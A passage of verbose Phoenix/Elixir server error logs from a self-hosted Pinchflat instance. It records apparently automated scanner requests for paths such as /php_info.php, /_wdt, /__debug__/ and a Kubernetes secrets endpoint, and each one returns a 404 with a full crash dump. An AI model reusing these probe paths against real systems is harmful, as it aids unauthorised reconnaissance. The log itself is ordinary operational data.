"pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_wdt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmr-xShi2n0ACMvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37346}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_wdt (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37346}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21676.0>, params: %{}, path_info: ["_wdt"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_wdt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmr-xShi2n0ACMvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:38.688 [info] GET /php_info.php 15:40:38.689 [debug] QUERY OK source="settings" db=0.0ms idle=173.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.689 [debug] QUERY OK source="settings" db=0.0ms idle=115.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.689 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.689 [error] #PID<0.21678.0> running PinchflatWeb.Endpoint (connection #PID<0.21677.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /php_info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37352}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21678.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgm6kpzuYgawACMvh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37352}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21677.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_info.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37352}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21678.0>, params: %{}, path_info: ["php_info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/php_info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgm6kpzuYgawACMvh"} ], scheme: :http, script_name (truncated) 15:40:38.741 [info] GET /__cve_probe_cve_test_404 15:40:38.742 [debug] QUERY OK source="settings" db=0.1ms idle=168.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.742 [debug] QUERY OK source="settings" db=0.0ms idle=114.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.742 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.742 [error] #PID<0.21680.0> running PinchflatWeb.Endpoint (connection #PID<0.21679.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21680.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgnHONdgg4xAACMwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21679.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37366}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21680.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:38.801 [info] GET /api/v1/namespaces/default/secrets 15:40:38.801 [debug] QUERY OK source="settings" db=0.1ms idle=173.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.801 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.801 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.801 [error] #PID<0.21682.0> running PinchflatWeb.Endpoint (connection #PID<0.21681.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/namespaces/default/secrets ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/namespaces/default/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37378}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21682.0>, params: %{}, path_info: ["api", "v1", "namespaces", "default", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/v1/namespaces/default/secrets", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgnVXuflhOroACMwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37378}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/namespaces/default/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21681.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37378}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21682.0>, params: %{}, path_info: ["api", "v1", "namespaces", "default", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/v1/namespaces/default/secrets", res (truncated) 15:40:38.853 [info] GET /__debug__/ 15:40:38.853 [debug] QUERY OK source="settings" db=0.1ms idle=164.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.853 [debug] QUERY OK source="settings" db=0.0ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.854 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.854 [error] #PID<0.21684.0> running PinchflatWeb.Endpoint (connection #PID<0.21683.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__debug__/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37392}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21684.0>, params: %{}, path_info: ["__debug__"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 